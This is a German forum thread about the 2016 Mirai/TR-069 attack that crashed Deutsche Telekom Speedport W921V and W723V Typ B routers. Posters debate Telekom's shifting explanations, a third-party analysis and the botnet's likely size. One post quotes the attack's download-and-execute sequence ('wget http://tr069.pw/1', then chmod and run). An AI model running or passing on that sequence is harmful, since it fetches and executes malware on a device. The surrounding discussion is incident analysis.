[Info] Speedport W 921V Speedport W 723V Typ B dringend FW-Update

PeterPawn schrieb:

Ich hoffe mal nicht, daß SuperTask wirklich noch weit verbreitet ist. Soweit ich weiß, hat das Lantronix doch irgendwann vor > 10 Jahren schon eingestellt, oder?

Zum Vergrößern anklicken....

Das ist richtig, SuperTask ist sozusagen "EOL". Die Modelle W723V Typ B und W921V waren m.W.n. auch die letzten Arcadyan-Speedports mit SuperTask (oder ist es doch schon der Nachfolger SMX-RTOS?). Die Firmware der Nachfolgemodelle von Arcadyan (W724V Typ B oder auch W922V) basiert dagegen auf einem Linux-Kernel bzw. genauer auf OpenWRT.
Die Firmware der Speedport-Modelle von z.B. Huawei oder AVM basierten schon vorher auf dem Linux-Kernel. Das ist imo auch der Grund warum es für die Speedport-Modelle von Arcadyan bis zum W921V keine Quelltexte für die Firmware gab, lediglich für den OpenSource Bootloader U-Boot den Arcadyan einsetzte gab es den Quelltext zum Download.

PeterPawn schrieb:

Das fragliche "wget" war ja auch nicht das Programm, was nachgeladen wurde ...

Zum Vergrößern anklicken....

Das ist klar, nur ohne wget (bzw. einen funktionierenden Alias auf eine vergleichbare Funktion bzw. Programm) in der Firmware könnte das fragliche Binary nicht nachgeladen werden wenn ich die Informationen u.a. aus Beitrag #6 korrekt interpretiert habe. Wenn Arcadyan wget tatsächlich bei diesen älteren Modellen eingesetzt hatte so vermisse ich entsprechende Hinweise auf den Einsatz dieser OpenSource Software, soweit ich weiß wurde im Handbuch nur U-Boot als OSS erwähnt.

PeterPawn schrieb:

Mich würde eher interessieren, wieso da auf den fraglichen Geräten "iptables" aktiv sein sollte (das "Abschalten" von Port 7547 durch die Schadsoftware soll ja darüber erfolgt sein) ... das steht ja wieder unter GPLv2 und wäre eine "Komponente/Funktion", wo der "Verbreiter" zur Veröffentlichung/Weitergabe auf Anfrage verpflichtet ist.

Zum Vergrößern anklicken....

Und das wäre dann eine weitere Frage...

- - - Aktualisiert - - -

H'Sishi schrieb:

Ich frage mal aus Neugier ... gibt es bei den Speedports auch Recovery-Tools wie bei den AVM-Fritz!Boxen?

Zum Vergrößern anklicken....

Nein, zumindest keine offiziellen (was nicht bedeutet, dass man über den Bootloader keine Firmware hochladen kann).
Da Speedports (wie viele andere Router auch) einen Resettaster besitzen scheint man das auch nicht für notwendig zu halten. Dbzgl. haben die Router von AVM eine kleine Sonderstellung, kein Resettaster in Hardware aber dafür gibt es ein offizielles Wiederherstellungsprogramm was den Upload der Firmware über den Bootloader sehr einfach gestalten soll.

- - - Aktualisiert - - -

PeterPawn schrieb:

Mich würde eher interessieren, wieso da auf den fraglichen Geräten "iptables" aktiv sein sollte (das "Abschalten" von Port 7547 durch die Schadsoftware soll ja darüber erfolgt sein) ...

Zum Vergrößern anklicken....

Es scheint gar nicht so weit gekommen zu sein (bei den betroffenen Speedports), es ist wohl noch nicht einmal wget auf den betroffenen Speedport-Modellen vorhanden (was nicht verwunderlich ist). Es sieht wohl so aus, dass die Speedports lediglich durch die hohe Anzahl an Anfragen "nur" überlastet waren.
Es ist wohl (aufgrund Ermangelung von wget) noch nicht einmal zum Download des entsprechenden Binary gekommen bei den betroffenen Speedports, die Befehle "cd /tmp", "wget http://tr069.pw/1", "chmod 777 1" sowie "./1" wurden zwar ausgeführt konnten aber keine Wirkung zeigen (da kein *nix-System).

https://www.telekom.com/de/medien/details/information-zu-aktuellen-beeintraechtigungen-444854
https://www.telekom.com/de/medien/details/mythos-offene-schnittstelle-was-wirklich-geschah-445232
https://twitter.com/deutschetelekom/status/803672364881805312

Man kann wohl zusammenfassen: Die Telekom hat richtig Glück gehabt, dass die Speedports offensichtlich nicht Ziel des Angriffes waren!

So ganz kann ich das auch wieder nicht glauben ... es steht in direktem Widerspruch (nach meiner Ansicht) zu anderen Äußerungen der Telekom-Führungsetage, z.B. hier. Was haben denn die Telekom-Mitarbeiter dann "im Eiltempo" in den besagten 12 Stunden "disassembliert", wenn es gar keine Downloads des Bot gegeben hat? Warum wurden dann Download-Adressen gesperrt (steht in irgendeinem anderen Bericht oder in demselben, man verliert ja den Überblick)?

Das ergibt für mich an Ende auch kein absolut stimmiges Bild ... entweder die Telekom-Leute haben vollkommen umsonst eine Schadsoftware (deren Quelltext sie - zumindest in großen Teilen - auch im GitHub gefunden hätten) analysiert, die niemals ausgeführt wurde (für so unfähig würde ich die Telekom-MA nicht halten und es wird ja sicherlich in den 12 Stunden nicht darum gegangen sein, einen fehlerhaften SOAP-Call zu analysieren, der gar keine Auswirkungen auf dem angegriffenen Gerät hatte) oder man hat sich nun doch entschlossen, daß ein in Bausch und Bogen fehlgeschlagener Angriff (bei den Arcadyans mag das sogar stimmen) die bessere "Nachricht" für die Öffentlichkeit ist und schon niemandem die Widersprüche zu früheren Äußerungen (und das waren ja keine "Externen", die da hätten spekulieren müssen bei solchen "Wasserstandsmeldungen") auffallen (oder zumindest nicht in dem Maße, daß da Zweifel an der Glaubwürdigkeit der Erklärung aufkommen würden).

Nenn' mich "mißtrauisch" ... aber einiges paßt bei den derzeit verbreiteten Erklärungen nun auch wieder nicht zu früheren Statements (der Telekom wohlgemerkt, nicht mit irgendwelchen anderen "Quellen" verwechseln). Ich kann nicht glauben, daß Offizielle der Telekom sich auf der Basis von externen Berichten geäußert haben - damit halte ich eine "gemischte Lage" für wesentlich wahrscheinlicher. Aber ein gar nicht erst ausgeführter Payload gibt eben noch einmal ein besseres Bild ab ... wenn der "nur fehlerhaft" war, könnte sich ja jemand die Frage stellen, was denn ansonsten passiert wäre - mit der jetzt angebrachten "Erklärung" (die durchaus auch stimmen mag für irgendwelche Modelle, das will ich gar nicht in Abrede stellen) ist eben bereits der "Versuch" der Ausführung gescheitert und alles ist wieder "Wölkchen".

Dann hätte es doch aber gar keine gefixte Firmware gebraucht (zumindest nicht sofort und die schnelle Bereitstellung von Updates ist ja ein weiterer Punkt, der hervorgehoben wurde), dann hätte bereits das Blockieren des Ports (als Ziel) auf den Border-Routern der Telekom dasselbe Ergebnis erbracht (kommt der Request nicht an, kann er auch keinen DoS verursachen). Wenn es innerhalb des Telekom-Netzes weitere Zombies geben sollte, die ihrerseits dann intern andere über den Port 7547 weiterhin angegriffen und damit aus dem Netz geschossen haben, dann müssen das (für eine ausreichend schnelle Neuinfektion) ja auch genug Geräte gewesen sein, die vorher erfolgreich "übernommen" wurden.

Die jetzt abgelieferten Erklärungen haben (für mich zumindest) also auch noch ihre Lücken ... vielleicht hat ja jemand anderes eine schlüssige Erklärung für einige der Fragen, die mich in diesem Zusammenhang auch weiterhin plagen.

Werden wir wohl noch etwas warten müssen...

BTW:
In meinem Umfeld sind übrigens alle T-Anschlüsse mit W921V bzw. W921 Fiber von Ausfallerscheinungen betroffen gewesen (den W723V Typ A/B setzt in meinem Umfeld keiner mehr ein). Von anderen mit W724V (alle Typen) sowie W920V gab es (bis jetzt) dagegen keine negativen Rückmeldungen.

PeterPawn schrieb:

Das ergibt für mich an Ende auch kein absolut stimmiges Bild

Zum Vergrößern anklicken....

Yep, volle Zustimmung.

Das Sahnehäubchen war, als am Montag in verschiedenen Medien verbreitet wurde, dass die "Hacker schlampige Arbeit verrichtet haetten und daher nicht viel Schaden angerichtet wurde". Da bin ich fast vom Sessel gefallen.

Man stelle sich doch nur mal folgende Variante der Nachricht vor: "... die Hacker konnten zwar eindringen und das Kraftwerk abschalten, aber durch ihre schlampige Antwort gelang es ihnen nicht den Stausee abzulassen ...". Ich will garnicht an Kraftwerke mit nem "A" davor denken.

Ganz nebenbei: In den Medien ist dieser Vorfall fast schon wieder verschwunden. Seltsam.

LG Goggo

Goggo16 schrieb:

... Ganz nebenbei: In den Medien ist dieser Vorfall fast schon wieder verschwunden ...

Zum Vergrößern anklicken....

Macht nichts.
Das Gooligan-Desaster bringt die nächste hohe Einschaltquote

Logisch wäre jetzt auch ein blocken der Ports 23, 123 und 2323, da die auch ständig abgefragt werden.
Wenn man schonmal dabei ist, könnte auch gleich noch 1900 geschlossen werden.
Tragen wir doch einfach die Netzneutralität zu Grabe, bevor sich unsere Legislative mit diesbezüglichen Regelungen auseinandersetzen muss und eh nur einen untauglichen Minimalkompromiss zustande bringt.

PeterPawn schrieb:

... entweder die Telekom-Leute haben vollkommen umsonst eine Schadsoftware (...) analysiert, die niemals ausgeführt wurde [...]

Zum Vergrößern anklicken....

Die Informationen auf folgender Seite scheinen das nahezulegen:
https://isc.sans.edu/forums/diary/TR069+NewNTPServer+Exploits+What+we+know+so+far/21763/

Deutsche Telekom lists the Speedport W 921 V, 723V Typ B, and 921 Fiber as affected. All of these modems are made by Taiwanese company Acadyan, which does not appear to be connected to Zyxel, the maker of the vulnerable Eir modem. [3] Comsecuris ran tests on one of the modems and found it not vulnerable, but they did point out that the modem will become slow and "hang" even under moderate load, so it is possible that the connections Mirai sent to the modem caused it to hang, not the exploit itself. [4]

Deutsche Telekom rolled out a firmware update to fix the vulnerability exploited by the attack. There has been no official statement from Deutsche Telekom confirming that the TR-069 attack was used to crash the modem. However, Deutsche Telekom did state that an "coding error" in the exploit caused the modems to crash instead of run the exploit code.

Zum Vergrößern anklicken....

Das würde bedeuten, dass noch nicht einmal die in #21 aufgeführten Befehle ausgeführt worden.

qwertz.asdfgh schrieb:

Die Informationen auf folgender Seite scheinen das nahezulegen:
https://isc.sans.edu/forums/diary/TR069+NewNTPServer+Exploits+What+we+know+so+far/21763/

Zum Vergrößern anklicken....

Interessanter Artikel. Er beantwortet einige, aber nicht alle Fragen, und wirft neue Fragen auf.

Wie auch hier weiter oben geschrieben steht, waren "alle " Speedport-Geraete der Typen 921 und 723 (mit Innereien von Arcadyan) von der Telekom betroffen, also nicht nur ein Teil oder "viele".

War es durch die sehr umfassende Fleissarbeit der Hacker erreicht worden, die einfach "alle" Sub-Netze der Telekom gescannt haben? Das wären schon mal ein paar zig Millionen IP-Adressen.

Und darunter wären dann die ca. 12 Millionen Router zu identifizieren, die wohl meistens in Privathaushalten stehen. Bei den 12 Mio wären dann durch Portscan die betroffenen Speedport-Typen heraus zu finden, und bei einem Treffer nach dem offenen Port gesucht worden. Das ist reichlich Arbeit. Mit einem ordentlich grossen Botnetz vielleicht sogar machbar. Aber in der kurzen Zeit von ca. 1 Tag und zunaechst voellig unbemerkt. Hmmm?

Warum kam kein gleichgearteter Aufschrei von anderen Netzbetreibern rund um den Globus, die auch Geraete mit Arcadyan-Innereien einsetzen? Arcadyan ist ja schliesslich keine kleine Frickelbude, die nur fuer deutsche Anbieter herstellt. Nur aus Irland waren vereinzelte Nachrichten über ähnliche Vorfälle zu vernehmen. Aber OK. Vielleicht war nur die Telekom das Ziel.

(Das Nachfolgende wurde von Peter zwei oder drei Posts weiter oben, aufgrund anderer Indizien schon angezweifelt, zumindest was die Telekom betrifft)
---
So wie dem o.g. Bericht zu entnehmen ist, wurden ja auch unterschiedliche Binaries für unterschiedliche Plattformen verbreitet. Schon eindrucksvoll. In ersten Tests (String-Test, na ja) seien ja ein paar Indizien gefunden worden, die auf Mirai schliessen lassen.

Wenn das alles so stimmt ist zu hoffen, dass die Telekom oder BSI diese Malware-Binaries mal umfassend in einer natuerlichen abgeschotteten Laborumgebung mal zu Leibe ruecken, um genau deren Verhalten zu analysieren.
---

Nun ja. Etwas Licht kam ins Dunkel, dafuer aber noch mehr Fragwürdiges dazu.

LG Goggo

qwertz.asdfgh schrieb:

Die Informationen auf folgender Seite scheinen das nahezulegen:
https://isc.sans.edu/forums/diary/TR069+NewNTPServer+Exploits+What+we+know+so+far/21763/

Zum Vergrößern anklicken....

Ich bin tatsächlich nicht überzeugt bzw. es würde meinem Weltbild (daß es bei der Telekom an den wirklich entscheidenden Stelle auch Leute mit den richtigen Fähigkeiten gibt - ich habe über ein paar Jahre selbst mit der T-Systems (damals noch BerKom, wenn auch gerade mal wieder eine Umstrukturierung im Gange war, aber wann ist das bei der Telekom mal nicht der Fall) zu tun gehabt) einen mächtigen Knacks versetzen.

Da steht aber eben auch:

However, Deutsche Telekom did state that an "coding error" in the exploit caused the modems to crash instead of run the exploit code.

Zum Vergrößern anklicken....

Dann hätte es ja eigentlich gar keinen "coding error" im Exploit gegeben - vermutlich erwarten die Arcadyan-Modelle (ich habe keines, vielleicht kann ja mal jemand mit einer solchen Box selbst testen) dort für TR-064 einen SSL-Request (die "Fehlermeldung" beim "Internal Server Error" ("SSL needed") paßt jedenfalls dazu) - das könnte man mit extrem viel Phantasie noch als "coding error" interpretieren.

Es erklärt aber immer noch nicht wirklich (und das tut die von Dir verlinkte Zusammenfassung für die Telekom eben auch nicht), was die Telekom-Leute in den zwei Tagen wirklich gemacht haben und warum auf dem Magenta-Kongress solche "Parolen" von Tschersich und Backofen verbreitet wurden ... da war ja auch immer von "Infektionen" und sogar von "abgewehrten Attacken, weil die Geräte unsignierte Firmware ablehnen" (den Link zum heise.de-Beitrag hatte ich oben schon) die Rede.

Das war noch am Dienstag nachmittag der Stand, nachdem das bereits am Sonntag losgegangen sein soll. Auch am Mittwoch vormittag klingt das noch nicht viel anders, besonders die "Transparenz" in diesem Artikel finde ich Klasse.

Da wurde also Höttges am Sonntag um 16 Uhr (auf dem Golfplatz - da braucht man ja schon fast Flutlicht in dieser Jahreszeit) informiert (ganze 25 Minuten, nachdem die ersten Meldungen in der Unternehmenszentrale aufgelaufen waren - da muß sich einiges ganz entscheidend geändert haben, wenn das wirklich stimmen sollte, daß der Vorstandsvorsitzende nach 25 Minuten bei noch weitgehend unklarer Faktenlage "auf dem Golfplatz" informiert wird) und die Telekom-Leute begannen damit, ihren vorbereiteten Notfall-Plan abzuspulen.

Entweder da stimmt fast gar nichts in diesen ganzen Aussagen (da paßte der Termin für den Kongress am Dienstag und Mittwoch ja wie A**** auf Eimer, damit sich jeder Manager mal richtig blamieren äußern konnte) oder es geht eben jetzt erst richtig mit den Nebelkerzen los.

Wenn das am Mittwoch vormittag noch so kommuniziert wurde (das Interview mit Höttges war am Mittwoch (also gestern) gg. 10 Uhr), dann kommen einem die plötzlichen Richtungswechsel in den Stellungnahmen (weitergehen, es gibt hier nichts zu sehen) schon komisch vor.

Nun bin ich sicherlich nicht direkt ein Verschwörungstheoretiker, aber ich kann (notfalls durch Tasten, wenn die Brille nicht zur Hand ist) noch ein X von einem U unterscheiden (vielleicht nicht den kleinen vom großen Buchstaben, aber das ist auch nicht die Aufgabenstellung).

Wenn man mir wirklich eine plausible Erklärung anbietet oder sich Höttges, Backofen oder Tschersich hinstellen und zugeben, daß sie einfach Blödsinn erzählt haben (oder "falsch zitiert" wurden, dann ist ja auch jemand anderes schuld), dann denke ich noch einmal über meine Skepsis nach und frage angesichts eines hingehaltenen Reifens und des Kommandos "Spring!" nur noch "Wie hoch?" und nicht mehr "Warum?".

Gerade bei Tschersich sollte man aufgrund der Funktion im Konzern ja unterstellen können, daß er wirklich richtig informiert war und da paßt dann ein Text wie der bei heise.de:

Wie der für Sicherheit zuständige Telekom-Manager Thomas Tschersich in Frankfurt schilderte, hatten Telekom-Mitarbeiter die Attacke am Sonntag entdeckt und innerhalb von zwölf Stunden den Schadcode disassembliert. Weitere 12 Stunden habe es gedauert, bis man eine neue Firmware für die betroffenen Router geschrieben und für das Update beim Kunden bereitstellen konnte. "Normalerweise dauert dieser Vorgang drei oder vier Monate", erklärte Tschersich.

Zum Vergrößern anklicken....

(und das war am Dienstag) so überhaupt gar nicht mehr zu dem, was jetzt im Nachgang als Ursache ausgegeben wird.

Um noch mal auf das Zitat einzugehen:

However, Deutsche Telekom did state that an "coding error" in the exploit caused the modems to crash instead of run the exploit code.

Zum Vergrößern anklicken....

Rhetorische Frage: Was wäre denn gewesen, wenn der Code fehlerfrei durchgelaufen wäre? Wäre es vielleicht komplett unbemerkt geblieben und noch dazu die Bot-Armee unwissentlich in Bereitschaft versetzt gewesen?

PeterPawn schrieb:

Auch am Mittwoch vormittag klingt das noch nicht viel anders, besonders die "Transparenz" in diesem Artikel finde ich Klasse.

Zum Vergrößern anklicken....

Der Artikel? Au weia. "Cyber-Nato". Das ist Industriepopulismus in Reinstform.

LG Goggo

Der Inhalt von https://comsecuris.com/blog/posts/were_900k_deutsche_telekom_routers_compromised_by_mirai/ überzeugt mich auch nicht restlos ... das geht schon damit los, daß dort beim gezeigten "cat"-Kommando gar nicht klar wird, was der Inhalt des Request sein soll und warum da für 10 Sekunden keine Reaktion erfolgt.

Liest man dann weiter, kommt irgendwann die Stelle, wo bei der Verwendung von "DOS line endings" dann doch noch eine Reaktion des CPE erfolgt ... nun ist das aber für jeden "security researcher" Basiswissen, daß eben beim HTTP-Protokoll grundsätzlich der Request mit "DOS line endings" zu beschließen ist (das RFC schreibt ausdrücklich "CRLF" vor an dieser Stelle, erst ab dem "message body" ist dann die Länge im entsprechenden Header entscheidend) und dann wären 10 Sekunden "Wartezeit" auf das Ende des Requests alles andere als unerwartet - eher schon wäre die Kürze dieser Zeitspanne ungewöhnlich, bevor der Server die Verbindung zurücksetzt.

Nun mag ich den guten Mann ja auch vollkommen falsch gelesen haben ... aber dann wäre ein Hexdump der gesendeten Datei (bei "cat") eben der bessere und nachvollziehbare Weg der Darstellung gewesen - wenn dort aber im Request-File tatsächlich mit "CRLF" gearbeitet wurde, wäre der nachfolgende Text mit dem "DOS line endings" ja gar nicht mehr zu erklären. Insofern macht eben der Abschnitt

Nothing happened – the connection simply stayed open for 10 seconds with no response (the Mirai worm uses a similar timeout). Nothing appeared in the system logs or on the serial console either.

Changing the line endings to DOS line endings allowed us to elicit a rather detailed response from the device:

Zum Vergrößern anklicken....

schon ein wenig den Eindruck, daß sich der Verfasser nicht wirklich mit dem HTTP-Protokoll auskennt, denn dann hätte er erst gar nicht versucht, dem Server mit "Unix line endings" (das unterstelle ich jetzt mal als Alternative zu den "DOS line endings") irgendeine Reaktion "zu entlocken" bzw. dann wäre seine Verwunderung ob der ausbleibenden Reaktion ("nicht passierte") irgendwie nicht nachvollziehbar.

Hallo zusammen,

das das ganze Bild der Telekomberichterstattung nicht passt habe ich auch schon bemerkt. Besonders ist mir aufgefallen, dass keine 20 Stunden Angriffsstart schon eine FW fuer den W921V verfuegbar war. Allein den Angriff als Angriff zu erkennen, das Problem zu verstehen und dann eine Loesung zu erarbeiten die man dann in Form einer FW noch umsetzten muss dauert doch schon mal 1 bis 2 Tage?

Interessanterweise wurde die W921v FW als *.bin File angeboten und nicht als *.zip File, so dass kein Filestempel offensichtlich zu erkennen war.

Kann jemand mal so in die FW reingesehen und versuchen einen Zeitstempel zu finden/extrahieren um so sehen wann die FW erstellt wurde? Ich habe da den kleinen Verdacht, dass die schon vorher fertig war, aber niemand die ausrollen wollte, da es nur zu unnoetigem Hotlineaufkommen gekommen waere, was man wohl jetzt im Weihnachtsgeschaeft und bei der All-IP Umstellung nicht gebrauchen konnte. Vielleicht wollte man die neue FW nur fuer den Fall eines Angriffes in der Hinterhand halten, hat aber die Auswirkungen und Groesse eines solchen Angriffes nicht erwartet.


Danke


voipd.

Goggo16 schrieb:

War es durch die sehr umfassende Fleissarbeit der Hacker erreicht worden, die einfach "alle" Sub-Netze der Telekom gescannt haben?
...
Mit einem ordentlich grossen Botnetz vielleicht sogar machbar.

Zum Vergrößern anklicken....

Nein, die Geräte waren zufällig getroffen. Es wäre viel zu viel Aufwand sind nur auf Telekom zu beschränken, es wird einfach ein Teil der IPv4-Welt ausgewählt.
Ein Rechenbeispiel: Annahme: "Der Hacker" erachtet ein Drittel der IPv4-Adressen als sinnvoll: 255^4/3 = 1.409 Millionen
Ein unauffälliger Node macht zwei "Angriffe" pro Sekunde, wir geben ihm 5 Stunden: 36000 Angriffe/Node
1.409 Millionen/(36000/Node) = 39150 Nodes
Es braucht also 40000 Nodes. Das ist ein kleines Botnetz.

Soweit ich das verstanden habe, wurden die Speedports der T-Kunden geflutet, bis sie dichtgemacht haben und abstürzten. Die angreifenden Bot's waren somit entweder
- nicht unauffällig (also mehr als 2 Angriffe pro Sekunde)
- nicht koordiniert (sonst wäre kein Router mehr als einmal erfolglos kontaktiert worden)
- zahlreicher als die errechneten 40.000 Nodes
- oder eine Kombination der obigen Punkte.

Was die "fertige Firmware in der Schublade" angeht ... vielleicht hat die Analyse ergeben, daß nur eine Kleinigkeit geändert werden mußte beim Umgang mit TR-069 und die übrigen Module in der bisherigen Form weitergenutzt werden können. Dann hält sich der Programmieraufwand in Grenzen.

naja es waren wohl nicht nur Arcardyan Modelle betroffen? W723V Typ A ist m.E.n. von Huawei..

Speedport W 303V Typ A (1.10.000)
Speedport W 503V Typ C (1.11.000)
Speedport W 504V (1.20.000)
Speedport W 723V Typ A (1.01.017)
Speedport Entry (2.03.000)

Speedport W 723V Typ B (1.41.000)
Speedport W 921V (1.41.000)

W722V Typ B fehlt noch!
W922V ist save?

GokuSS4 schrieb:

W922V ist save?

Zum Vergrößern anklicken....

Diese Frage stellt sich dann auch beim W724V Typ B, diese beiden Modelle sind bzgl. Hardware und Software sehr eng verwandt (eigentlich ist der W922V nur ein leicht aufgebohrter/angepasster W724v Typ B).

- - - Aktualisiert - - -

BTW:
Den letzten W921V den ich besaß hatte ich vor ein paar Wochen weggegeben, zum Testen hätte ich nur noch einen W922V.